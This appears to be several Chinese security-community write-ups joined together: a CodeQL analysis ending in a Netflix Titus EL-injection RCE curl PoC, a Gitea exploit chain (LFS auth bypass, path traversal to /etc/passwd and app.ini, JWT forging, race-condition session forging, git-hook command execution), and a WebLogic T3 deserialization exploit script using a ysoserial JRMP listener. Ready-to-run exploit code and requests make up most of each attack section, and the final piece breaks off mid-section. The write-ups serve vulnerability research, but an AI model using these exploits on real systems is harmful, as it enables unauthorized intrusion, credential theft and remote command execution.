override predicate isSink(DataFlow::Node sink) {
sink instanceof TemplateRenderSink
}
override int explorationLimit() { result = 4}
}
from TaintConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "Custom constraint error message contains unsanitized user data"
结果如图：
很遗憾完全没看到查询后的结果 (T＿T)
### 问题分析
那么现在有必要看一下问题出在哪？
通过阅读代码，可以看到在 `container` 和 `common` 之间其实存在着非常多次的函数调用，而如果不对这些调用进行分析的话，势必无法找到从
source 到 sink 间的关键数据流：
Set<String> common = new HashSet<>(container.getSoftConstraints().keySet());
common.retainAll(container.getHardConstraints().keySet());
这里我们整理一下需要分析的函数调用：
1. `getSoftConstraints()`
2. `keySet()`
3. `new HashSet<>()`
4. `retainAll()`
我们可以结合 CodeQL 提供的 `TaintTracking::AdditionalTaintStep` 对这些中间调用进行分析：
首先是用通配符 `get%` 匹配 `getSoftConstraints` 函数：
class GetterTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
exists(MethodAccess ma |
(
ma.getMethod() instanceof GetterMethod or
ma.getMethod().getName().matches("get%")
) and
n1.asExpr() = ma.getQualifier() and
n2.asExpr() = ma
)
}
}
然后是官方提供的 `Maps` 库来匹配 `keySet` 函数：
import semmle.code.java.Maps
class MapKeySetCall extends MethodAccess {
MapKeySetCall() {
this.getMethod().(MapMethod).getName() = "keySet"
}
}
class KeySetTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
exists(MapKeySetCall call |
n1.asExpr() = call.getQualifier() and
n2.asExpr() = call
)
}
}
下一步是匹配 `HashSet` 的构造函数，其中上一个节点 `n1` 需要满足是构造函数的参数：
class HashSetConstructorCall extends Call {
HashSetConstructorCall() {
this.(ConstructorCall).getConstructedType().getSourceDeclaration().hasQualifiedName("java.util", "HashSet")
}
}
class HashSetTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
exists(HashSetConstructorCall call |
n1.asExpr() = call.getAnArgument() and
n2.asExpr() = call
)
}
}
最后匹配 `retainAll` 函数，这里同样使用官方提供的 `Collections` 库：
import semmle.code.java.Collections
class CollectionRetainAllCall extends MethodAccess {
CollectionRetainAllCall() {
this.getMethod().(CollectionMethod).getName() = "retainAll"
}
}
class CollectionRetainAllTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
exists(CollectionRetainAllCall ma |
n1.asExpr() = ma.getAnArgument() and
n2.asExpr() = ma.getQualifier()
)
}
}
### 第二次实验
成功找到了漏洞点：
## 漏洞利用
### 环境构建
# 下载源码
git clone https://github.com/Netflix/titus-control-plane
cd titus-control-plane
# 回退到漏洞修复前的 commit
git reset --hard 8a8bd4c
# 启动 docker
docker-compose up -d
### 利用
通过对 `SchedulingConstraintSetValidator.java` 查询交叉引用 ，可以定位到 `titus-control-plane/titus-api/src/main/java/com/netflix/titus/api/jobmanager/model/job/Container.java`
文件，然后发现 `Container` 类会作为 `JobDescriptor` 内的一个字段存在，而 `JobDescriptor` 对象可以通过
`JobManagementResource` 这个类内定义的 api 创建：
/.../
package com.netflix.titus.runtime.endpoint.v3.rest;
import ...
@Produces(MediaType.APPLICATION_JSON)
@Consumes(MediaType.APPLICATION_JSON)
@Api(tags = "Job Management")
@Path("/v3")
@Singleton
public class JobManagementResource {
private final JobServiceGateway jobServiceGateway;
private final SystemLogService systemLog;
private final CallMetadataResolver callMetadataResolver;
@Inject
public JobManagementResource(JobServiceGateway jobServiceGateway,
SystemLogService systemLog,
CallMetadataResolver callMetadataResolver) {
this.jobServiceGateway = jobServiceGateway;
this.systemLog = systemLog;
this.callMetadataResolver = callMetadataResolver;
}
@POST
@ApiOperation("Create a job")
@Path("/jobs")
public Response createJob(JobDescriptor jobDescriptor) {
String jobId = Responses.fromSingleValueObservable(jobServiceGateway.createJob(jobDescriptor, resolveCallMetadata()));
return Response.status(Response.Status.ACCEPTED).entity(JobId.newBuilder().setId(jobId).build()).build();
}
/* 省略其他代码 */
}
所以漏洞最终的利用逻辑如下：
1. 通过 POST 请求访问 URL `/api/v3/jobs` 创建 `JobDescriptor` 对象
2. 程序内部由于请求数据而生成的 `jobDescriptor.container` 会调用 `SchedulingConstraintSetValidator.java` 类的 `isValid` 函数进行校验，校验失败，键名作为错误信息通过 `buildConstraintViolationWithTemplate(0)` 输出
3. 由于键名是我们构造好的 Java EL 表达式，所以最后该表达式会被执行，进而成功 RCE
### RCE - poc
curl --location --request POST 'http://127.0.0.1:7001/api/v3/jobs' \
--header 'Content-Type: application/json' \
--data-raw '{
"applicationName": "localtest",
"owner": {
"teamEmail": "[email protected]"
},
"container": {
"image": {
"name": "alpine",
"tag": "latest"
},
"entryPoint": [
"/bin/sleep",
"1h"
],
"securityProfile": {
"iamRole": "test-role",
"securityGroups": [
"sg-test"
]
},
"softConstraints": {
"constraints": {
"#{#this.class.name.substring(0,5) == '\''com.g'\'' ? '\''FOO'\'' : T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('\''dG91Y2ggL3RtcC9wd25lZA=='\''))).class.name}": ""
}
},
"hardConstraints": {
"constraints": {
"#{#this.class.name.substring(0,5) == '\''com.g'\'' ? '\''FOO'\'' : T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('\''dG91Y2ggL3RtcC9wd25lZA=='\''))).class.name}": ""
}
}
},
"batch": {
"size": 1,
"runtimeLimitSec": "3600",
"retryPolicy":{
"delayed": {
"delayMs": "1000",
"retries": 3
}
}
}
}'
可以看到成功在 docker 内创建了 `/tmp/pwned` 文件，说明 poc 执行成功。
## 参考链接
* 使用 CodeQL 分析需要的 [数据库文件](https://drive.google.com/open?id=10ju0t2QZjsKI8qrAqwzsPA3K-lBgqPVF)
* [GitHub Security Lab CTF 4: CodeQL and Chill - The Java Edition](https://securitylab.github.com/ctf/codeql-and-chill) | 社区文章 |
作者：Phith0n
作者博客：[https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html?from=timeline&isappinstalled=0](https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html?from=timeline&isappinstalled=0)
这是一个非常漂亮的漏洞链，很久没见过了。
我用docker来复现并学习这个漏洞，官方提供了docker镜像，vulhub也会上线这个环境。
#### 漏洞一、 逻辑错误导致权限绕过
这是本漏洞链的导火索，其出现在Git LFS的处理逻辑中。
> Git
> LFS是Git为大文件设置的存储容器，我们可以理解为，他将真正的文件存储在git仓库外，而git仓库中只存储了这个文件的索引（一个哈希值）。这样，git
> objects和.git文件夹下其实是没有这个文件的，这个文件储存在git服务器上。gitea作为一个git服务器，也提供了LFS功能。
在 modules/lfs/server.go 文件中，PostHandler是POST请求的处理函数：
可见，其中间部分包含对权限的检查：
if !authenticate(ctx, repository, rv.Authorization, true) {
requireAuth(ctx)
}
在没有权限的情况下，仅执行了requireAuth函数：这个函数做了两件事，一是写入WWW-Authenticate头，二是设置状态码为401。也就是说，在没有权限的情况下，并没有停止执行PostHandler函数。
所以，这里存在一处权限绕过漏洞。
#### 漏洞二、目录穿越漏洞
这个权限绕过漏洞导致的后果是，未授权的任意用户都可以为某个项目（后面都以vulhub/repo为例）创建一个Git LFS对象。
这个LFS对象可以通过`http://example.com/vulhub/repo.git/info/lfs/objects/[oid]`这样的接口来访问，比如下载、写入内容等。其中[oid]是LFS对象的ID，通常来说是一个哈希，但gitea中并没有限制这个ID允许包含的字符，这也是导致第二个漏洞的根本原因。
我们利用第一个漏洞，先发送一个数据包，创建一个Oid为`....../../../etc/passwd`的LFS对象：
POST /vulhub/repo.git/info/lfs/objects HTTP/1.1
Host: your-ip:3000
Accept-Encoding: gzip, deflate
Accept: application/vnd.git-lfs+json
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 151
{
"Oid": "....../../../etc/passwd",
"Size": 1000000,
"User" : "a",
"Password" : "a",
"Repo" : "a",
"Authorization" : "a"
}
其中，vulhub/repo是一个公开的项目。
>
> 也就是说，这个漏洞的利用是有条件的，第一个条件就是需要有一个公开项目。为什么呢？虽然“创建LFS对象”接口有权限绕过漏洞，但是“读取这个对象所代表的文件”接口没有漏洞，会先检查你是否有权限访问这个LFS对象所在的项目。只有公开项目才有权限读取。
见下图，发送数据包后，虽然返回了401状态码，但实际上这个LFS对象已经创建成功，且其Oid为`....../../../etc/passwd`。
第二步，就是访问这个对象。访问方法就是GET请求`http://example.com/vulhub/repo.git/info/lfs/objects/[oid]/sth`，oid就是刚才指定的，这里要用url编码一下。
见下图，/etc/passwd已被成功读取：
那么，我们来看看为什么读取到了/etc/passwd文件。
代码 modules/lfs/content_store.go ：
可见，`meta.Oid`被传入transformKey函数，这个函数里，将Oid转换成了key[0:2]/key[2:4]/key[4:]这样的形式，前两个、中间两个字符做为目录名，第四个字符以后的内容作为文件名。
那么，我创建的Oid为`....../../../etc/passwd`，在经过transformKey函数后就变成了`../../../../../etc/passwd`，`s.BasePath`是LFS对象的基础目录，二者拼接后自然就读取到了/etc/passwd文件。
这就是第二个漏洞：目录穿越。
#### 漏洞三、读取配置文件，构造JWT密文
vulhub/repo虽然是一个公开项目，但默认只有读权限。我们需要进一步利用。
我们利用目录穿越漏洞，可以读取到gitea的配置文件。这个文件在`$GITEA_CUSTOM/conf/app.ini`，`$GITEA_CUSTOM`是gitea的根目录，默认是`/var/lib/gitea/`，在vulhub里是`/data/gitea`。
所以，要从LFS的目录跨越到`$GITEA_CUSTOM/conf/app.ini`，需要构造出的Oid是`....gitea/conf/app.ini`
（经过转换后就变成了`/data/gitea/lfs/../../gitea/conf/app.ini`，也就是`/data/gitea/conf/app.ini`。原漏洞作者给出的POC这一块是有坑的，这个Oid需要根据不同`$GITEA_CUSTOM`的设置进行调整。）
成功读取到配置文件（仍需先发送POST包创建Oid为`....gitea/conf/app.ini`的LFS对象）：
配置文件中有很多敏感信息，如数据库账号密码、一些Token等。如果是sqlite数据库，我们甚至能直接下载之。当然，密码加了salt。
Gitea中，LFS的接口是使用JWT认证，其加密密钥就是配置文件中的LFS_JWT_SECRET。所以，这里我们就可以用来构造JWT认证，进而获取LFS完整的读写权限。
我们用python来生成密文：
import jwt
import time
import base64
def decode_base64(data):
missing_padding = len(data) % 4
if missing_padding != 0:
data += '='* (4 - missing_padding)
return base64.urlsafe_b64decode(data)
jwt_secret = decode_base64('oUsPAAkeic6HaBMHPiTVHxTeCrEDc29sL6f0JuVp73c')
public_user_id = 1
public_repo_id = 1
nbf = int(time.time())-(60*60*24*1000)
exp = int(time.time())+(60*60*24*1000)
token = jwt.encode({'user': public_user_id, 'repo': public_repo_id, 'op': 'upload', 'exp': exp, 'nbf': nbf}, jwt_secret, algorithm='HS256')
token = token.decode()
print(token)
其中，`jwt_secret`是第二个漏洞中读取到的密钥；`public_user_id`是项目所有者的id，`public_repo_id`是项目id，这个项目指LFS所在的项目；`nbf`是指这个密文的开始时间，`exp`是这个密文的结束时间，只有当前时间处于这两个值中时，这个密文才有效。
#### 漏洞四、利用条件竞争，写入任意文件
现在，我们能构造JWT的密文，即可访问LFS中的写入文件接口，也就是PutHandler。
PUT操作主要是如下代码：
整个过程整理如下：
1. transformKey(meta.Oid) + .tmp 后缀作为临时文件名
2. 如果目录不存在，则创建目录
3. 将用户传入的内容写入临时文件
4. 如果文件大小和meta.Size不一致，则返回错误（meta.size是第一步中创建LFS时传入的Size参数）
5. 如果文件哈希和meta.Oid不一致，则返回错误
6. 将临时文件重命名为真正的文件名
因为我们需要写入任意文件，所以Oid一定是能够穿越到其他目录的一个恶意字符串，而一个文件的哈希（sha256）却只是一个HEX字符串。所以上面的第5步，一定会失败导致退出，所以不可能执行到第6步。也就是说，我们只能写入一个后缀是“.tmp”的临时文件。
另外，作者用到了`defer
os.Remove(tmpPath)`这个语法。在go语言中，defer代表函数返回时执行的操作，也就是说，不管函数是否返回错误，结束时都会删除临时文件。
所以，我们需要解决的是两个问题：
1. 能够写入一个.tmp为后缀的文件，怎么利用？
2. 如何让这个文件在利用成功之前不被删除？
我们先思考第二个问题。漏洞发现者给出的方法是，利用条件竞争。
因为gitea中是用流式方法来读取数据包，并将读取到的内容写入临时文件，那么我们可以用流式HTTP方法，传入我们需要写入的文件内容，然后挂起HTTP连接。这时候，后端会一直等待我传剩下的字符，在这个时间差内，Put函数是等待在`io.Copy`那个步骤的，当然也就不会删除临时文件了。
那么，思考第一个问题，.tmp为后缀的临时文件，我们能做什么？
#### 漏洞五、伪造session提升权限
最简单的，我们可以向/etc/cron.d/中写入一个crontab配置文件，然后反弹获取shell。但通常gitea不会运行在root权限，所以我们需要思考其他方法。
gitea使用[go-macaron/session](https://github.com/go-macaron/session "go-macaron/session")这个第三方模块来管理session，默认使用文件作为session存储容器。我们来阅读[go-macaron/session源码](https://github.com/go-macaron/session/blob/master/file.go
"go-macaron/session源码")：
这里面有几个很重要的点：
1. session文件名为sid[0]/sid[1]/sid
2. 对象被用Gob序列化后存入文件
Gob是Go语言独有的序列化方法。我们可以编写一段Go语言程序，来生成一段Gob编码的session：
package main
import (
"fmt"
"encoding/gob"
"bytes"
"encoding/hex"
)
func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err
}
func main() {
var uid int64 = 1
obj := map[interface{}]interface{} {"_old_uid": "1", "uid": uid, "uname": "vulhub" }
data, err := EncodeGob(obj)
if err != nil {
fmt.Println(err)
}
edata := hex.EncodeToString(data)
fmt.Println(edata)
}
其中，`{"_old_iod": "1", "uid": uid, "uname": "vulhub"
}`就是session中的数据，uid是管理员id，uname是管理员用户名。编译并执行上述代码，得到一串hex，就是伪造的数据。
> 原作者给出的POC是他生成好的一段二进制文件，uid和uname不能自定义。
接着，我写了一个简单的Python脚本来进行后续利用（需要Python3.6）：
import requests
import jwt
import time
import base64
import logging
import sys
import json
from urllib.parse import quote
logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
BASE_URL = 'http://your-ip:3000/vulhub/repo'
JWT_SECRET = 'AzDE6jvaOhh_u30cmkbEqmOdl8h34zOyxfqcieuAu9Y'
USER_ID = 1
REPO_ID = 1
SESSION_ID = '11vulhub'
SESSION_DATA = bytes.fromhex('0eff81040102ff82000110011000005cff82000306737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e7436340402000206737472696e670c070005756e616d6506737472696e670c08000676756c687562')
def generate_token():
def decode_base64(data):
missing_padding = len(data) % 4
if missing_padding != 0:
data += '='* (4 - missing_padding)
return base64.urlsafe_b64decode(data)
nbf = int(time.time())-(60*60*24*1000)
exp = int(time.time())+(60*60*24*1000)
token = jwt.encode({'user': USER_ID, 'repo': REPO_ID, 'op': 'upload', 'exp': exp, 'nbf': nbf}, decode_base64(JWT_SECRET), algorithm='HS256')
return token.decode()
def gen_data():
yield SESSION_DATA
time.sleep(300)
yield b''
OID = f'....gitea/sessions/{SESSION_ID[0]}/{SESSION_ID[1]}/{SESSION_ID}'
response = requests.post(f'{BASE_URL}.git/info/lfs/objects', headers={
'Accept': 'application/vnd.git-lfs+json'
}, json={
"Oid": OID,
"Size": 100000,
"User" : "a",
"Password" : "a",
"Repo" : "a",
"Authorization" : "a"
})
logging.info(response.text)
response = requests.put(f"{BASE_URL}.git/info/lfs/objects/{quote(OID, safe='')}", data=gen_data(), headers={
'Accept': 'application/vnd.git-lfs',
'Content-Type': 'application/vnd.git-lfs',
'Authorization': f'Bearer {generate_token()}'
})
这个脚本会将伪造的SESSION数据发送，并等待300秒后才关闭连接。在这300秒中，服务器上将存在一个名为“11vulhub.tmp”的文件，这也是session
id。
带上这个session id，即可提升为管理员。
#### 漏洞六、利用HOOK执行任意命令
带上`i_like_gitea=11vulhub.tmp`这个Cookie，我们即可访问管理员账户。
然后随便找个项目，在设置中配置Git钩子。Git钩子是执行git命令的时候，会被自动执行的一段脚本。比如我这里用的pre-receive钩子，就是在commit之前会执行的脚本。我在其中加入待执行的命令`touch /tmp/success`：
然后在网页端新建一个文件，点提交。进入docker容器，可见命令被成功执行：
#### 一些思考
整个漏洞链非常流畅，Go Web端的代码审计也非常少见，在传统漏洞越来越少的情况下，这些好思路将给安全研究者带来很多不一样的突破。
不过漏洞作者给出的POC实在是比较烂，基本离开了他自己的环境就不能用了，而且我也不建议用一键化的漏洞利用脚本来复现这个漏洞，原因是这个漏洞的利用涉及到一些不确定量，比如：
1. gitea的$GITEA_CUSTOM，这个值影响到读取app.ini的那段POC
2. 管理员的用户名和ID，这个可能需要猜。但其实我们也没必要必须伪造管理员的session，我们可以伪造任意一个用户的session，然后进入网站后再找找看看有没有管理员所创建的项目，如果有的话，就可以得知管理员的用户名了。
另外，复现漏洞的时候也遇到过一些坑，比如gitea第一次安装好，如果不重启的话，他的session是存储在内存里的。只有第一次重启后，才会使用文件session，这一点需要注意。
如果目标系统使用的是sqlite做数据库，我们可以直接下载其数据库，并拿到他的密码哈希和另一个随机字符串，利用这两个值其实能直接伪造管理员的cookie（名为gitea_incredible），这一点我就不写了，大家可以自己查看文档。
* * * | 社区文章 |
## CVE-2017-3248 & CVE-2018-2628
后面的漏洞CVE-2018-2628就是2017-3248的绕过而已，所以poc都一样，只是使用的payload不同
本机开启JRMP服务端 -》利用T3协议发送payload使得weblogic反序列化后，开启JRMP客户端，并连接服务端
-》服务端发送exp给客户端，客户端上的DGC接收到响应即会反序列化。
详细的细节看我的另一篇文章： **ysoserial payloads-JRMPClient**
### 漏洞复现
**使用ysoserial开启一个JRMP服务端监听：**
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 "touch /tmp/success"
**利用T3协议发送payload/JRMPClient：**
python2 2017-3248.py 192.168.202.129 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.202.1 9999 JRMPClient
POC:
from __future__ import print_function
import binascii
import os
import socket
import sys
import time
def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
#generates ysoserial payload
command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
print("command: " + command)
os.system(command)
bin_file = open('payload.out','rb').read()
return binascii.hexlify(bin_file)
def t3_handshake(sock, server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print('handshake successful')
def build_t3_request_object(sock, port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))
def send_payload_objdata(sock, data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception:
pass
return res
def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(65)
server_addr = (dip, dport)
t3_handshake(sock, server_addr)
build_t3_request_object(sock, dport)
payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
print("payload: " + payload)
rs=send_payload_objdata(sock, payload)
print('response: ' + rs)
print('exploit completed!')
if __name__=="__main__":
#check for args, print usage if incorrect
if len(sys.argv) != 7:
print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
'[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
sys.exit()
dip = sys.argv[1]
dport = int(sys.argv[2])
path_ysoserial = sys.argv[3]
jrmp_listener_ip = sys.argv[4]
jrmp_listener_port = sys.argv[5]
jrmp_client = sys.argv[6]
exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
### 漏洞分析
发送构造的proxy对象给weblogic，反序列化时候调用到其`InvocationHandler`的`readObject`方法，而这里的`InvocationHandler`则是`RemoteObjectInvocationHandler`
`RemoteObjectInvocationHandler`的`readObject`方法是调用其父类`RemoteObject`的`readObject`方法
`RemoteObject#readObject`中调用了`UnicastRef#readExternal`
跟进`LiveRef.read`
调用了`DGCClient#registerRefs`，这方法里面，产生了与JRMP服务端的交互
**1.开启通信**
在`DGCClient#registerRefs`中，有个do...while，如图第47行就是开启与JRMPListener的Socket通信
**2.触发反序列化**
同样在在`DGCClient#registerRefs`的do...whlie中，第48行就是处理服务端过来的请求，造成了反序列化
跟进DGCClient#registerRefs，在最后调用了DGCClient$EndpointEntry的makeDirtyCall方法
跟进makeDirtyCall方法，到205行，调用了DGCImpl_Stub#dirty
跟进DGCImpl_Stub#dirty（这里有个问题，这个DGCImpl_Stub其实是动态生成的类，无法调试，所以只能进源码直接看）
newCall是和
JRMPListener建立连接，write写入序列化数据，invoke用来处理服务端的数据，最后readObject来反序列化（前提是传过来的数据不是一个异常类）
然后就到了`AnnotationInvocationHandler#readObject`中，以下是调用栈
readObject:313, AnnotationInvocationHandler {sun.reflect.annotation}
invoke0:-1, NativeMethodAccessorImpl {sun.reflect}
invoke:39, NativeMethodAccessorImpl {sun.reflect}
invoke:25, DelegatingMethodAccessorImpl {sun.reflect}
invoke:597, Method {java.lang.reflect}
invokeReadObject:969, ObjectStreamClass {java.io}
readSerialData:1871, ObjectInputStream {java.io}
readOrdinaryObject:1775, ObjectInputStream {java.io}
readObject0:1327, ObjectInputStream {java.io}
defaultReadFields:1969, ObjectInputStream {java.io}
readSerialData:1893, ObjectInputStream {java.io}
readOrdinaryObject:1775, ObjectInputStream {java.io}
readObject0:1327, ObjectInputStream {java.io}
readObject:349, ObjectInputStream {java.io}
executeCall:225, StreamRemoteCall {sun.rmi.transport}
invoke:359, UnicastRef {sun.rmi.server}
dirty:-1, DGCImpl_Stub {sun.rmi.transport}
makeDirtyCall:342, DGCClient$EndpointEntry {sun.rmi.transport}
registerRefs:285, DGCClient$EndpointEntry {sun.rmi.transport}
registerRefs:121, DGCClient {sun.rmi.transport}
read:294, LiveRef {sun.rmi.transport}
readExternal:473, UnicastRef {sun.rmi.server}
readObject:438, RemoteObject {java.rmi.server}
invoke0:-1, NativeMethodAccessorImpl {sun.reflect}
invoke:39, NativeMethodAccessorImpl {sun.reflect}
invoke:25, DelegatingMethodAccessorImpl {sun.reflect}
invoke:597, Method {java.lang.reflect}
invokeReadObject:969, ObjectStreamClass {java.io}
readSerialData:1871, ObjectInputStream {java.io}
readOrdinaryObject:1775, ObjectInputStream {java.io}
readObject0:1327, ObjectInputStream {java.io}
defaultReadFields:1969, ObjectInputStream {java.io}
readSerialData:1893, ObjectInputStream {java.io}
readOrdinaryObject:1775, ObjectInputStream {java.io}
readObject0:1327, ObjectInputStream {java.io}
readObject:349, ObjectInputStream {java.io}
readObject:66, InboundMsgAbbrev {weblogic.rjvm}
read:38, InboundMsgAbbrev {weblogic.rjvm}
readMsgAbbrevs:283, MsgAbbrevJVMConnection {weblogic.rjvm}
init:213, MsgAbbrevInputStream {weblogic.rjvm}
dispatch:498, MsgAbbrevJVMConnection {weblogic.rjvm}
dispatch:330, MuxableSocketT3 {weblogic.rjvm.t3}
dispatch:387, BaseAbstractMuxableSocket {weblogic.socket}
readReadySocketOnce:967, SocketMuxer {weblogic.socket}
readReadySocket:899, SocketMuxer {weblogic.socket}
processSockets:130, PosixSocketMuxer {weblogic.socket}
run:29, SocketReaderRequest {weblogic.socket}
execute:42, SocketReaderRequest {weblogic.socket}
execute:145, ExecuteThread {weblogic.kernel}
run:117, ExecuteThread {weblogic.kernel}
## CVE-2018-2628
### 漏洞复现
复现步骤和上个漏洞一样
**使用ysoserial开启一个JRMP服务端监听：**
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 "touch /tmp/success"
这里使用了修改后的ysoserial，利用`java.rmi.activation.Activator`类来绕过补丁，两种绕过方式看下面的分析
python2 2017-3248.py 192.168.202.129 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.202.1 9999 JRMPClient2
POC的python脚本和上一个漏洞是一样的，这里就不贴出来了
### 补丁分析
一般反序列操作防御resolveProxyClass和resolveClass方法重写，进行黑名单匹配，这个补丁就是重写了resolveProxyClass，对
RMI 接口类型进行了判断，判断 RMI 接口是否为`java.rmi.registry.Registry`，是的话抛出错误。
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if (intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
### 绕过方式两种：
#### 1.取消代理proxy
**取消代理proxy，不走**`**resolveProxyClass**` **，而去走**`**resolveClass**` **就可以绕过**
在ysoserial攻击修改如下代码把Proxy去掉，重新打jar包，利用方式和CVE-2017-3248一样，能够绕过resolveProxyClass执行命令
